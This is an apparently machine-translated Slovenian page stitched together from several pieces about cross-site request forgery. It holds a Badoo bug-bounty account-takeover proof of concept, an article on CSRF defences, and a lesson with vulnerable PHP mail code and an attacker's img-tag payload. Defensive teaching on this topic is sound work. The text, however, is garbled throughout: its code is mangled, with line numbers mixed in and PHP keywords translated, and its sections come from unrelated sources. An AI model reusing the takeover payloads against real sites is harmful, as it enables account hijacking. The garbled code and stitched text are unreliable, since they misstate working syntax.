    Če pogledate Badoo, ščitijo pred CSRF tako, da v URL vključijo parameter rt, ki je dolg le 5 znakov (vsaj v času pisanja). Čeprav sem to opazil, ko je Badoo začel kampanjo na HackerOne, nisem našel načina, kako bi to uporabil. Vendar ga je Mahmoud Jamal (zombiehelp54) našel.

    Ko je razumel pomen parametra rt, je tudi opazil, da je bil parameter vrnjen v skoraj vseh odgovorih json. Na žalost to ni prineslo nič dobrega, saj CORS ščiti Badoo pred napadi z branjem teh odgovorov. Mahmud je nadaljeval z iskanjem.

    Izkazalo se je, da datoteka https://eu1.badoo.com/worker-scope/chrome-ser vsebuje vrednost rt. Kar je bilo še bolje, je bila ta datoteka
    napadalec lahko poljubno prebere in ne zahteva
    žrtev ne stori drugega kot obišče zlonamerno spletno stran. Tukaj je koda, ki jo je posredoval:

    1 2 3 Badoo račun prevzet 4 6 7 8 9 funkcija getCSRFcode(str) ( 10 return str.split('='); 11 ) 12 window.onload = function())( 13 var csrf_code = getCSRFcode(url_stats); 14 csrf_url = 'https://eu1.badoo.com/google/verify.phtml?c 15 ode=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authu 16 ser=3&session_state=7cb17 4b560..a810&prompt=none&rt='+ csrf_code; 18 window.location = csrf_url ; 19 ); 20

    V bistvu, ko je žrtev naložila stran, je poslala zahtevo skriptu Badoo, izbrala parameter rt za tega uporabnika in nato podala zahtevo v imenu žrtve. V tem primeru je šlo za povezavo Mahmoudovega računa z računom žrtve, kar je omogočilo popoln prevzem računa.

    zaključki

    Kjer je dim, je tudi ogenj Tukaj je Mahmoud opazil, da je bil parameter rt vrnjen na različnih mestih, v specifičnih odgovorih json. Zato je pravilno domneval, da bi ga lahko prikazali nekje, kjer bi ga lahko uporabili v tem primeru v datoteki js.

    Rezultati

    Napadi CSRF predstavljajo še en nevaren vektor napadov in se lahko izvedejo z malo ali brez aktivnega ukrepanja s strani žrtve. Iskanje ranljivosti CSRF zahteva nekaj iznajdljivosti in spet pripravljenosti testirati vse.

    Praviloma so obrazci privzeto zaščiteni z ogrodji, kot je Rails, če spletno mesto izvede zahtevo POST, API-ji pa lahko

    bo posebna zgodba. Na primer, Shopify je napisan predvsem na ogrodju Ruby on Rails, ki privzeto zagotavlja zaščito CSRF za vse obrazce (čeprav jo je mogoče onemogočiti). Vendar očitno to ne velja nujno za API-je, ustvarjene s tem ogrodjem. Na koncu bodite pozorni na klice, ki spreminjajo podatke na strežniku (kot je dejanje brisanja) in so izvedeni z uporabo zahteve GET.

    Poskušal sem opisati, kaj točno je ta ranljivost in, kar je pomembno, kateri pogoji so potrebni za izvedbo napada CSRF.

    V tem članku bom poskušal govoriti o zaščiti pred tovrstnimi napadi od zunaj:

    • S strani stranke - glavni načini, kako se zaščititi
    • Strežniška stran - pravilna zasnova aplikacije

    Če vas zanima, kako se zaščititi pred CSRF, potem dobrodošli v kat.

    splošne informacije

    Na splošno vas želim spomniti, da CSRF NI ranljivost, je vrsta napada. In ta napad se izvaja na končnega uporabnika spletne aplikacije z uporabo ranljivosti v tej aplikaciji, ki ji lahko rečemo »Pomanjkanje ustreznega preverjanja vira zahteve« (ime sem si izmislil sam, ne sodite strogo, ampak je res). Toda v nadaljevanju bom CSRF imenoval ranljivost in napad, združen v eno, saj je preprostejši in tako je sprejet =)

    In ker je napad izveden na uporabnika, potem se mora uporabnik braniti ... hecam se =) Dejstvo je, da lahko vsak uporabnik zmanjša možnost tega napada na kateri koli strani, ki jo uporablja (tudi če ta spletna mesta nimajo vgrajena zaščita pred CSRF). A poleg uporabnikov lahko svojo aplikacijo oblikujejo tako, da preprečijo možnost izvajanja tega napada na svoje uporabnike, tudi sami razvijalci strani.

    Poglejmo zaščito z obeh strani.

    Zaščita uporabnika

    Na splošno je tukaj vse zelo banalno:

    • Ne klikajte na povezave, ki vam jih ponujajo tretje osebe. To je najbolj banalen nasvet, mislim, da to že vsi vedo, vendar sem se odločil, da ga ponovim.
    • Po končanem delu z določenim mestom razveljavite avtorizacijo. Tudi če obstaja ranljivost, napadalec ne bo mogel izvesti dejanj na ciljnem mestu v vašem imenu.
    • Za delo s pomembnimi spletnimi mesti uporabite ločen brskalnik ali »zasebne ali anonimne načine« (v idealnem primeru uporabite en brskalnik za vsako spletno mesto ^_^ ali še bolje, ločen računalnik: D).

    To je vse. Zdaj pa preidimo na glavno stvar.

    Zaščita razvijalca

    Kot že omenjeno, je ranljivost v pomanjkanju ustreznega preverjanja vira zahteve. To pomeni, da moramo pri razvoju aplikacije vgraditi funkcionalnost za preverjanje tega vira. In kaj nam najprej pade na pamet? Prav! Preverjanje napotitelja.

    Preverjanje napotitelja

    Takoj bom rekel za tiste, ki berejo članke diagonalno. Utemeljiti svojo obrambo samo na preverjanju te glave je slabo(!). Zakaj - poglejte spodaj.

    Najprej ugotovimo, kaj je ta metoda.

    S spletnimi stranmi delamo po protokolu HTTP. Vsak paket tega protokola je niz glav + vsebina paketa. Ena od teh glav je Referer. Vsebuje naslov napotitvenega vira. Trivialen primer: imate odprto spletno mesto A, na tem spletnem mestu kliknete povezavo do spletnega mesta B, v tem trenutku, ko oddate povpraševanje, bo glava Referer vsebovala naslov spletnega mesta A. Se pravi, zdi se, da je to idealen mehanizem za sledenje, od kod je uporabnik prišel.

    Tukaj je hren. In bistvo tukaj ni v tem, da je napotitelja mogoče ponarediti (kateri zdrav heker bi prosil žrtev, naj zamenja napotitelja in sledi navedeni povezavi). In dejstvo je, da ima po moji statistiki približno 5% uporabnikov Referer prenos onemogočen. To pomeni, da teh pet odstotkov sploh ne bo moglo delati s spletnim mestom ali pa bodo ranljivi za ta napad (odvisno od politike vaše aplikacije).

    Ja, ja, ja, vem, kaj si misliš ... No, kaj za vraga s temi 5%? Naj bodo ranljivi, vendar je preostalih 95% zaščitenih in hkrati stanete malo krvi. Se pravi, če referer vsebuje naslov naše prijave ali je prazen, potem menimo, da je vir potrjen? Spet pride hren! Obstajajo možnosti za prisilitev brskalnika žrtve, da izpolni zahtevo, ne da bi navedel napotitelja (o tem sem pisal)! In voila! Izkazalo se je, da so vsi uporabniki še vedno ranljivi.

    Na splošno je ta metoda kot neodvisna metoda brez pomena.

    Potrditev dejanja

    Vsakemu obrazcu za oddajo lahko priložite captcha in jo pokažete celo registriranim uporabnikom, da jih rešite pred CSRF ... Čeprav bi morda raje dal svoj račun hekerju, kot delati v takem sistemu ...

    Žetoni

    No, zdaj je edini pravilen in zanesljiv način.

    Pomen ta metoda sestoji iz dodajanja parametra, ki vsebuje nekaj »žetonov«, vsaki povezavi, obrazcu za oddajo itd. In ko prejme zahtevo, mora strežnik preveriti prisotnost tega žetona v sprejetih parametrih. Seveda mora biti vsak žeton za vsakega uporabnika unikaten, še bolje pa je, če je vsak žeton unikaten.

    Eden najpreprostejših in najbolj zanesljivih primerov implementacije - nov žeton se generira z vsako zahtevo in se namesti v uporabnikove piškotke ter se doda tudi v parametre obrazcev in povezav na strani:

    In nato se ob prejemu vsake zahteve žeton iz piškotkov primerja z žetonom, določenim v parametrih obrazca. In če sta enaka, potem je vir zahteve zakonit. Nato se žeton znova ustvari in znova nastavi v piškotku itd. krog.

    Na splošno je lahko izvedba drugačna, vendar je težava v tem, da je prehod na žetone precej težak, saj morate upoštevati vsako povezavo, vsak obrazec, vsako stran ... Zaščitite lahko samo pomembne strani/obrazce/povezave, vendar potem obstaja možnost, da nekatere od njih zamudite.

    Osebno varujem samo POST obrazce in zelo pomembne povezave. To pomeni, da POST v mojih aplikacijah ne deluje brez pravilnega žetona. S tem se izognemo možnosti, da bi pozabili zaščititi kakšen obrazec, ker preprosto ne bo deloval in bom to takoj opazil.

    Zaključek

    Upam, da boste iz tega članka razumeli, kako se zaščititi pred napadi CSRF.

    Od avtorja: razlog za snemanje te lekcije je bilo vprašanje na našem forumu, ki je zvenelo takole: kako zaščititi spletno mesto pred napadi CSRF? Seveda smo se takoj odzvali na to temo in podali majhen algoritem za implementacijo zaščitnega mehanizma. Ker pa verjetno vsi naši bralci ne berejo foruma, sem se odločil, da posnamem ločeno lekcijo o zgornji temi.

    Želel bi takoj opozoriti, da trenutni videoposnetek ne bo zagotovil polne pripravljene rešitve, ki bi jo bilo mogoče implementirati na zahtevanem spletnem mestu. Kajti vsak od vas ima ali bo imel spletno stran z edinstveno logično strukturo, torej popolnoma drugačno od drugih, kar pomeni, da je nemogoče ustvariti že pripravljen zaščitni skript, ki bi upošteval popolnoma vse. možne možnosti izvajanje.

    In to ni potrebno, saj je bistvo zaščitnega mehanizma precej preprosto, zato boste v trenutnem videoposnetku na primeru testnega mesta videli, kako se lahko zaščitite pred zgornjim tipom napada, nato pa, na podlagi pridobljenega znanja boste naredili podobne korake na lastnem projektu. Pa začnimo.

    CSRF je akronim, sestavljen iz angleških besed Cross-Site Request Forgery, kar pomeni ponarejanje zahtev med spletnimi mesti. Ta pogojže davno predstavil Peter Watkins leta 2001, o možnih tovrstnih napadih pa se je začelo govoriti že leta 1988. Upoštevajte, da je minilo že dovolj časa, vendar je še vedno večina internetnih spletnih mest podvržena temu napadu. Takoj se pojavi vprašanje - zakaj je tako? In odgovor je povsem preprost in se skriva v tem, da ranljivost za CSRF napade ni napaka v kodi aplikacije, ampak posledica povsem normalnega delovanja brskalnika in spletnega strežnika.

    Bistvo napada je, da lahko napadalec na nezaščitenem spletnem mestu izvede različna dejanja v imenu drugega registriranega (pooblaščenega) uporabnika. Z drugimi besedami ta tip napad vključuje obisk uporabnika na spletnem mestu napadalca, kar posledično privede do dejstva, da se neopazno od napadalca izvedejo nekatera vnaprej določena dejanja na drugem spletnem mestu ali storitvi, na kateri je ta uporabnik. ta trenutek pooblaščeni.

    V tem primeru so praviloma tarče napadov CSRF različne interaktivne spletne aplikacije, ki izvajajo določena dejanja, na primer storitve za pošiljanje e-pošte, različni forumi, plačilni sistemi itd. To pomeni, da lahko heker izvaja nekatera dejanja v imenu drugih uporabnikov - pošilja sporočila, dodaja nove račune, izvaja finančne transakcije itd.

    Zdaj pa si poglejmo učinek tega napada na primeru testnega mesta.

    Recimo, da obstaja spletna stran, katere naloga je pošiljanje E-naslov na navedenem naslovu v imenu pooblaščenega uporabnika. Se pravi na domača stran vidimo obrazec za pošiljanje sporočila. Poleg tega obstaja tudi mehanizem za pošiljanje sporočil pri posredovanju določenih parametrov prek zahteve GET (samo na primer). Stran za prijavo izgleda takole:

    Ta stran povsem običajno, kar pade v oči, je potrditveno polje »Član«, ki se uporablja za shranjevanje avtorizacijskih podatkov v piškotke brskalnika. Pravzaprav je ta mehanizem zelo priročen za uporabnike, saj poenostavi večkratni dostop do strani, vendar je z varnostnega vidika zelo nezaželen. A vseeno je za dobro obiskovalcev pogosto treba popustiti.

    Koda za pošiljanje sporočil z uporabo dveh metod (GET in POST) izgleda nekako takole:

    //Pošiljanje sporočila if($this->isGet() && !empty($_GET["email"])) ( $body = "Pozdravljeni, to je obrazec za sporočilo - ".$this->user["name"] ; $body .= " Vsebina - od GET - ".$_GET["content"].." Od - ".$_GET["email"]; mail(" [e-pošta zaščitena]","Novo sporočilo",$body); ) if($this->isPost()) ( $body = "Pozdravljeni, to je obrazec za sporočilo - ".$this->user["name"]; $body .= " Vsebina - FROM POST - ".$_POST["content"]."Od - ".$_POST["email"]; mail(" [e-pošta zaščitena]","Novo sporočilo",$body); )

    //Pošlji sporočilo

    if ($ this -> isGet () && ! prazno ( $ _GET [ "email" ] ) ) (

    $telo = . $ to -> uporabnik [ "ime"] ;

    $telo. = "Vsebina - iz GET - " . $_GET["vsebina"]. "Od - ". $_GET["e-pošta"];

    if ($this -> isPost()) (

    $body = "Pozdravljeni, to je obrazec za sporočilo - ". $ to -> uporabnik [ "ime"] ;

    $telo. = "Vsebina - IZ OBJAVE - ". $_POST["vsebina"]. "Od - ". $_POST["e-pošta"];

    pošta (" [e-pošta zaščitena]", "Novo sporočilo", $body);

    Zdaj pa poglejmo še eno spletno mesto – spletno mesto hekerjev.

    Na katerega lahko postavi dokaj preprosto, a zelo učinkovito kodo, če je treba izvesti napad na zahtevo GET:

    < img src = "http://localhost/csrf/[e-pošta zaščitena]&content=Pozdravljen svet" >

    To pomeni, da v bistvu vidimo oznako img, katere atribut src vsebuje pot do mesta, ki naj bi bilo napadeno, z nizom potrebnih parametrov za izvedbo določenega dejanja. V našem primeru je to pošiljanje sporočila, kar pomeni, da mora napadalec zdaj samo zvabiti uporabnika na trenutno spletno mesto in, ne da bi vedel, bo poslana zahteva na spletno mesto, ki ga zanima, saj bo brskalnik poskušal naložiti sliko, pot do katere je navedena v atributu src. Ob tem ne pozabimo, da piškotki brskalnika shranjujejo avtorizacijske podatke in jih seveda aplikacija takoj uporabi in skladno s tem bo zgornja zahteva uspešno obdelana s strani strežnika. To pomeni, da bo sporočilo poslano v imenu uporabnika.

    Če pogledamo nabor glav, ki so poslane skupaj z zahtevo, lahko dejansko vidimo piškotke s podatki za prijavo račun, kar seveda pomeni - kot je navedeno zgoraj - da bo zahteva zaznana kot da prihaja od overjenega uporabnika.

    Povsem enaka situacija je s pošiljanjem povpraševanja. metoda POST, samo v tem primeru bo napadalec na svojem spletnem mestu ustvaril obrazec, ki bo samodejno poslan z uporabo JavaScripta takoj, ko obiskovalec vstopi na to spletno mesto.

    Zato se je pred tovrstnimi napadi nujno in edino najbolj zaščititi učinkovita metoda zaščita je uporaba posebnih žetonov.

    Varnostni žeton je niz, ki se naključno generira za določenega uporabnika in se prenaša v vsaki zahtevi, ki vključuje spreminjanje podatkov. Poleg tega je v seji shranjen tudi žeton. Tako se bistvo zaščite zmanjša na preprosto preverjanje ujemanja žetona, ki se prenaša v zahtevi, in žetona, ki je shranjen v seji. Če sta oba žetona enaka, je zahtevo poslal pooblaščeni uporabnik. Če se žetoni ne ujemajo ali v zahtevi sploh ni žetona, potem lahko z veliko gotovostjo ocenimo, da se izvaja napad, kar pomeni, da ni mogoče izvesti nobenih dejanj.

    Upoštevajte, da je treba zaščititi popolnoma vse zahteve, ki so namenjene spreminjanju ali izvajanju določenih dejanj.

    Pravzaprav je na tej stopnji besedilni del lekcije zaključen in o dani temi bomo še naprej govorili v video različici. Hkrati bomo preučili metode za generiranje žetonov in praktično implementirali zgoraj opisani algoritem zaščite. Zdaj pa se posloviva. Veselo kodiranje!!!